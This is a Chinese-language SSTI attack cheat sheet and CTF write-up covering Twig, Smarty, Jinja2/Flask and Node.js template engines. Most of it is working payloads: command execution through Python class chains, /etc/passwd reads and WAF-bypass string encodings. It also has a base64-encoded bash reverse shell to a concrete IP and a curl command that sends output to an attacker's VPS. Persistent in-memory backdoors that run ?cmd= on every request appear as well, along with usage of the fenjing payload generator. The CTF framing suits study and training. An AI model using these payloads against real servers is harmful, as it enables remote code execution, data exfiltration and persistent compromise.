前言
SSTI(Server-Side Template Injection,服务端模板注入)是模板引擎把用户输入当模板代码执行的一类漏洞:输入被拼进模板字符串而不是作为数据传入,攻击者就能注入模板语法,进而读到服务器上的变量、文件,甚至执行命令
基础
探测

先扔一串模板里常见的特殊字符,看有没有报错或回显变化:
1 | {7*7} ->49 -> smarty |
php Twig 利用
Twig 的 _self.env 暴露了环境对象,可以注册回调再触发执行,因此版本不同 payload 也不同,下面这些覆盖大部分版本:
1 | {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}} |
不依赖 _self.env 的写法(Twig 3 常见):
1 | {{['id']|filter('system')}} |
要读文件时可以把命令换成 cat /flag;Twig 的 source() 只能读模板目录下的模板文件(受 loader 限制),不是任意文件读取:
1 | {{source('index.html')}} |
[BJDCTF2020]Cookie is so stable1

尝试输入数据,结果就是输入什么就回显什么
有两个包,第一个为 session 赋值,第二个请求页面
尝试 {{7*8}} 发现有 ssti
尝试 X-Forwarded-For: {{system("ls")}}、{php}phpinfo();{/php}、{if phpinfo()}{/if} 都失败
利用 TWIG 全版本通用 SSTI payloads 成功:
1 | {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}} |
1 | user={{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat ../../../flag|tr '\n' ','")}} |
getFilter 括号里就是执行命令的地方;这个 payload 好像只能回显最前面的一个结果
php smarty 利用
smarty 常用探测与利用:
1 | {$smarty.version} # 版本 |
{$smarty.version} 可以看版本,Smarty3 里 {php} 常被禁用,优先试 {if phpinfo()}{/if}、{if system("id")}{/if}、反引号 {id};直接写 {system("id")} 要看是否允许调用未注册函数
HDCTF 2023 SearchMaster

判断模板类型及版本

1 | {php}phpinfo();{/php} # 执行相应的 php 代码 |
Smarty 支持用 {php}{/php} 标签执行被包裹其中的 php 指令,最常规的思路自然是先测试该标签。但 Smarty3 已经废弃 {php} 标签,Smarty 3.1 起{php}仅在 SmartyBC 中可用

采用 if 判断执行代码

flask 模板 jinja2 框架 利用
render_template 渲染的是模板文件;render_template_string 则是把字符串直接当模板渲染
所以当代码把 render_template 换成 render_template_string、又不处理用户输入时,模板语法就会被执行,这就是 ssti 注入
类链利用原理
1 | {% set x= 'abcd' %} # 声明变量 |
__class__ 返回类型所属的对象__mro__ 返回方法解析顺序(MRO)元组,__mro__[1] 一般是 object(Python2 里 str 的 MRO 是 (str, basestring, object),所以用 [2])__base__ 返回该对象直接继承的基类,等价于 __bases__[0]__subclasses__返回基类中的所有子类,每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表__globals__ 是函数所在模块的全局变量字典,能从里面翻到 os、__builtins__get_flashed_messages() 返回在Flask中通过 flash() 传入的闪现信息列表。把字符串对象表示的消息加入到一个消息队列中,然后通过调用get_flashed_messages() 方法取出(闪现信息只能取出一次,取出后闪现信息会被清空)__builtins__ 兜底为什么万能:每个模块的 globals 里 Python 会自动塞一个 __builtins__,里面有 eval、__import__、open、chr,模块没 import os 也能现拿:
类链怎么走:__class__ → __mro__/__base__ → __subclasses__() → __init__.__globals__ → os / __builtins__
找到基类中的所有子类
1 | [].__class__.__base__.__subclasses__() # <type 'list'> <type 'object'> |
找到子类,我们就可以去找子类的一些危险方法
1 | {{config.__class__.__init__.__globals__[%27os%27].popen(%27ls%27).read()}} # 注意:%27 是 ' 的 URL 编码,要经 HTTP 层解码后才生效 |
寻找可利用的类
先把 __subclasses__() 列表打出来,再按类名找 site._Printer、warnings.catch_warnings、subprocess.Popen、os._wrap_close 对应的编号;下面的 [40]、[59]、[71]、[132]、[258] 这些下标随 Python 版本和已加载模块变化,不能照抄
__subclasses__() 出来两百多个类,所以思路就三步:把整串列表打出来 → 复制 → 按类名查它排第几个。
先打印(把返回的这一整段复制下来):
1 | {{''.__class__.__mro__[1].__subclasses__()}} |
方法一:(贴入整串,再输入关键字查下标)
1 | import time |
粘进去后输入 _wrap_close、Popen、catch_warnings、BuiltinImporter 这类关键字,打印出来的数字就是下标。
方法二:(按 > 切分成一个个类,关键词写在最后一行)
1 | a = """粘贴 __subclasses__() 的整串输出""" |
查到的下标 [i] 直接替换掉下面 payload 里的 [71] / [132] / [258]:
1 | {{''.__class__.__mro__[1].__subclasses__()[i].__init__.__globals__['popen']('id').read()}} |
直接从函数出发
类链不是必须的:__globals__ 是函数对象的属性,模板里已经给了函数(lipsum、url_for…)时,一步就能到模块全局变量,不用 __class__ → __subclasses__() 绕一圈。
1 | {{lipsum.__globals__['os'].popen('id').read()}} |
实测(flask 3.1.3 / jinja2 3.1.6):
| 模板里的名字 | 是什么 | 要类链吗 | __globals__ 指向 |
里面有什么 |
|---|---|---|---|---|
lipsum |
function | 不用 | jinja2.utils |
os、__builtins__ |
cycler.__init__ / joiner.__init__ / namespace.__init__ |
method | 不用 | jinja2.utils |
os、__builtins__ |
url_for |
function | 不用 | flask.app |
os、current_app、__builtins__ |
get_flashed_messages |
function | 不用 | flask.helpers |
os、__builtins__ |
self |
TemplateReference 对象 | 只用一层 .__init__ |
jinja2.runtime |
没有 os,有 __builtins__ |
config |
Config 实例 | 只用一层 .__class__.__init__ |
flask.config |
配置项 |
''、[]、()、{} |
字符串/列表等 | 必须 | 无(本身不是函数) | 只能 __subclasses__() |
request |
对象 | 一层 .__application.__globals__ |
flask.app |
__builtins__ |
环境差异(实测 is defined):
| 名字 | 纯 Jinja2 | Flask |
|---|---|---|
lipsum / cycler / joiner / namespace / self |
有 | 有 |
url_for / config / get_flashed_messages / request |
没有 | 有 |
1 | 手上有函数对象 -> .__globals__ (lipsum / url_for / get_flashed_messages) |
敏感信息
1 | /shrine/{{url_for.__globals__}} 可以查看所有全局变量 |
命令执行
不用类链、直接能用的几条链:
1 | {{lipsum.__globals__['os'].popen('id').read()}} |
内含os模块的类
<class 'site._Printer'>
1 | ''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls') |
没有 os 的类
没有 os 的类,可以借 eval / __import__ / subprocess.Popen / os._wrap_close:
<class 'warnings.catch_warnings'>
1 | # eval |
<class 'subprocess.Popen'>
1 | ?search={{''.__class__.__mro__[2].__subclasses__()[258]('ls',shell=True,stdout=-1).communicate()[0].strip()}} |
<class 'os._wrap_close'>
1 | {{"".__class__.__base__ .__subclasses__()[132].__init__.__globals__['popen']('ls').read()}} |
文件读写
<type 'file'>
1 | {{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}} # python2 的 file |
写文件用 write:
1 | {{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/1').write("") }} |
过滤与绕过
| 被过滤 | 绕过 | ||||||||
|---|---|---|---|---|---|---|---|---|---|
. |
[]、|attr("")、__getitem__ |
||||||||
_ |
lipsum|string|list 取第 24 个字符、chr(95)、\x5f |
||||||||
{{}}` | 换成语句标签 `{% print(...) %}` |
| 关键字 `class`/`globals` | 字符串拼接 `"cla""ss"`、`~`、`format`、反转、`base64` |
| 引号 | 双引号/反引号、`request.args` 传参 |
| 数字下标 | 用 `\|attr`、`\|list\|first`、`\|string\|list` 动态取值 |
#### 关键符号被过滤
(1)**`.` 被过滤** → 全部换成 `|attr`或者换成`[]`
被过滤** → 换成语句标签 {% print(...) %} |
1 | {% print(lipsum.__globals__["os"].popen("echo HI").read()) %} |
(4)**_ 被过滤** → 从 lipsum|string 里取第 24 个字符(正好是 _),再用 ~ 拼
1 | {% set u=(lipsum|string|list)|attr("pop")(24) %}{{lipsum|attr(u~u~"globals"~u~u)|attr("get")("os")|attr("popen")("echo HI")|attr("read")()}} |
(5)过滤中括号[]:
1 | # 正常: |
字符串构造(绕过关键字过滤)
引号里的字符串
(1)**+ 拼接**
1 | {{lipsum.__globals__["__buil"+"tins__"]["__impor"+"t__"]("o"+"s").popen("echo HI").read()}} |
(2)相邻字面量(Jinja2 自动拼接)
1 | {{lipsum.__globals__["__buil""tins__"]["__impor""t__"]("o""s").popen("echo HI").read()}} |
(3)**~ 拼接**(+ 被禁时用它)
1 | {{lipsum.__globals__["__buil"~"tins__"]["__impor"~"t__"]("o"~"s").popen("echo HI").read()}} |
(4)**join**(也常用 "fla".join("/g") 得到 /flag 这种”分隔符塞中间”的写法)
1 | {{lipsum.__globals__["".join(["__buil","tins__"])]["".join(["__impor","t__"])]("".join(["o","s"])).popen("echo HI").read()}} |
(5)反转([::-1])
1 | {{lipsum.__globals__["__snitliub__"[::-1]]["__tropmi__"[::-1]]("so"[::-1]).popen("IH ohce"[::-1]).read()}} |
(6)大小写转换(只过滤小写时)
1 | {{lipsum.__globals__["__BUILTINS__".lower()]["__IMPORT__".lower()]("OS".lower()).popen("ECHO HI".lower()).read()}} |
(7)hex 转义
1 | {{lipsum.__globals__["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("\x6f\x73").popen("echo HI").read()}} |
(8)**|format 的 %c**
1 | {{lipsum.__globals__["%c%c%c%c%c%c%c%c%c%c%c%c"|format(95,95,98,117,105,108,116,105,110,115,95,95)]["__import__"]("os").popen("echo HI").read()}} |
(9)**chr**(要先从 __builtins__ 里把 chr 取出来)
1 | {% set chr=lipsum.__globals__["__builtins__"].chr %}{{lipsum.__globals__["__builtins__"]["__import__"](chr(111)~chr(115)).popen("echo HI").read()}} |
(10)**dict|join**(连字母都被过滤时,拿字典的关键字当”字母表”)
1 | {{lipsum.__globals__[dict(o=a,s=a)|join].popen("echo HI").read()}} |
(11)**request.args 传参**(字符串完全不进模板,最省事)
1 | {{lipsum.__globals__[request.args.a][request.args.b](request.args.c).read()}} |
配套请求:?a=os&b=popen&c=echo HI
(12)py2 时代的老写法(现在少见,见到能认出来就行)
1 | {{().__class__.__bases__[0].__subclasses__()[40]("/fl""ag").read()}} |
引号外的关键字
| 类型 | 例子 | 对策 |
|---|---|---|
| 属性名 / 方法名 | __globals__、__class__、popen |
搬进引号(|attr("…") 或 ["…"]),再用上面①~⑫的造串法 |
| 变量名 / 入口名 | lipsum、config、self |
换一个没被过滤的入口,见(5) |
属性名本来就是字符串,搬进引号就能用”引号里”的全部技巧
1 | {{lipsum|attr(request.args.g)|attr("get")(request.args.k)|attr("popen")("echo HI")|attr("read")()}} #配套请求:`?g=__globals__&k=os` |
工具
手工绕不过 WAF 时,用 fenjing 自动生成能过黑名单的 Jinja2 payload(下面按 0.9.1 实测)。
安装:
1 | pip install fenjing |
脚本方式(把题目的黑名单写进 waf,返回 True 表示这个字符串能过 WAF;exec_cmd_payload 生成命令执行的 payload,config_payload 生成读 config 的 payload。)
1 | from fenjing import exec_cmd_payload, config_payload |
黑名单为 ["__", "global", "{{", "}}"] 时,0.9.1 生成的两条 payload(实测能直接发):
1 | {%print ((_114|attr('_''_eq_''_'))['_'+'_'+'g''lobals'+'_'+'_'].sys.modules.os.popen('env')).read()%} |
1 | {%print self['_''_dict_''_']['_'+'T'+'e'+'m'+'p'+'l'+'a'+'t'+'e'+'R'+'e'+'f'+'e'+'r'+'e'+'n'+'c'+'e'+'_'+'_'+'c'+'o'+'n'+'t'+'e'+'x'+'t'].config%} |
命令行方式(直接打目标):
1 | python -m fenjing crack -u 'http://target/?name=*' -i name -e 'id' |
无回显
模板渲染了,但结果不返回给前端(比如后端只 return "OK"),或者只返回成功/失败 —— 这时候要把”输出”从别的通道送出来。常见有下面几种,越靠前越省事。
写文件到 static
最通用的办法:把命令结果写到能被访问的静态目录(Flask 的 static/,或者站点的 public/),再直接访问文件。
1 | {{url_for.__globals__['__builtins__']['__import__']('os').system('(id; pwd; ls -la; env) > static/r1.txt 2>&1')}} |
然后访问 /static/r1.txt。实测文件能正常写出 ✓
出网反弹 shell
目标能出网、有 bash 时最省事。命令里不能有空格时用 ${IFS} 顶空格,再把命令 base64 化绕开特殊字符:
1 | {{lipsum.__globals__['os'].popen('bash${IFS}-c${IFS}'{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjMuNTcuMjMuNDAvMTExMSAwPiYx}|{base64,-d}|{bash,-i}'').read()}} |
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjMuNTcuMjMuNDAvMTExMSAwPiYx 解出来就是:
1 | bash -i >& /dev/tcp/123.57.23.40/1111 0>&1 |
也可以直接把结果带出去:
1 | {{lipsum.__globals__['os'].popen('curl http://你的vps/?x=`id`').read()}} |
HTTP 头回显
Flask 回显马
1 | {{url_for.__globals__['__builtins__']['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: (resp.headers.__setitem__('X-Flag', __import__('os').popen('printenv FLAG').read().strip()), resp)[1])",{'app':url_for.__globals__['sys'].modules[url_for.__globals__['current_app'].import_name].__dict__['app']})}} |
然后任意请求都能在响应头里看到:
1 | X-Flag: moectf{8f61c757-b295-df35-20a1-69760cf89039} |
错误页面回显
污染 werkzeug.exceptions 里异常类的 description,随便访问一个不存在的路径就能看到结果:
1 | {{url_for.__globals__.__builtins__['setattr'](url_for.__globals__['sys'].modules['werkzeug.exceptions'].NotFound,'description',url_for.__globals__.__builtins__['__import__']('os').popen('id').read())}} |
实测:GET /no-such-page 的 404 页面里出现 NOTFOUND_PWNED ✓
把 NotFound 换成 InternalServerError、BadRequest 等,可以污染别的错误页。
注入内存马
挂一个 after_request 钩子,之后所有请求都能用 ?cmd= 执行命令,不用再发 payload:
1 | {{url_for.__globals__['__builtins__']['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__('flask').make_response(__import__('os').popen(request.args.get('cmd')).read())\")==None else resp)",{'request':url_for.__globals__['request'],'app':(url_for.__globals__['sys'].modules.get('__main__').__dict__.get('app') or url_for.__globals__['sys'].modules[url_for.__globals__['current_app'].import_name].__dict__['app'])})}} |
之后 GET /?cmd=id 直接回显。实测 ?cmd=echo MEM_OK → MEM_OK、?cmd=whoami → 用户名、?cmd=printenv FLAG → flag ✓
盲注
实在送不出去(不出网、没静态目录、header 也被挡),只能一位一位地猜:
- 布尔盲注:用条件语句,让”条件真/假”对应页面内容或状态码不同
1 | {% if 7*7==49 %}yes{% endif %} |
- 时间盲注:条件为真时才执行
sleep,看响应时间
1 | {% if 7*7==49 %}{{lipsum.__globals__['os'].popen('sleep 3').read()}}{% endif %} |
- 带外:结果通过 DNS/HTTP 打出去(适合有出网但没回显)
实测(把 sleep 换成 Python 版给 Windows 测的):条件真 1.58s、条件假 0.01s ✓;注意 sleep 是 Linux 命令,Windows 靶场要换 ping -n 3 127.0.0.1 之类
参考:cnblogs「jinjia2 无回显 SSTI」(shinnylbz),本文把里面失效的
lipsum.__spec__写法换成了实测可用的url_for.__globals__['sys']
案例:[WesternCTF2018]shrine1
1 | import flask |
原理:render_template 渲染的是模板文件,{{ }} 会被正常求值;换成 render_template_string 并把用户输入直接当模板渲染,就会发生 ssti 注入

这一题的 config、self 被拉黑,括号也被删了,所以靠 url_for 拿 current_app.config:
1 | /shrine/{{url_for.__globals__['current_app'].config}} |
更多见 SSTI 模板注入绕过(进阶篇)
案例:[DASCTF X CBCTF 2022 九月挑战赛]Text Reverser

发现 {{}} 被过滤了,利用 {% print([].__class__.__base__.__subclasses__()) %} 绕过
案例:过滤绕过实战

过滤了 .,用 |attr("") 代替;注意 attr 内不能拼接(可以用变量代替)
过滤了下划线:
1 | {%set pop=dict(pop=a)|join%} |
过滤了某些关键词,以及 + 等拼接符:可以用 join 关键字代替 +
过滤了单引号:可以用双引号代替,不影响语句
完整的构造(把 class、bases、subclasses、getitem、init、globals 这些关键字用变量拼出来):
1 | {%set pop=dict(pop=a)|join%} |
Node.js(EJS / Handlebars)利用
1 | <%= global.process.mainModule.constructor._load('child_process').execSync('id') %> |
1 | eval={{ " ".toString.constructor("return global.process.mainModule.constructor._load('child_process').execSync('cat fl00g.txt').toString()")() }} |
三条等价的 calc 链:
1 | require('child_process').exec('calc') |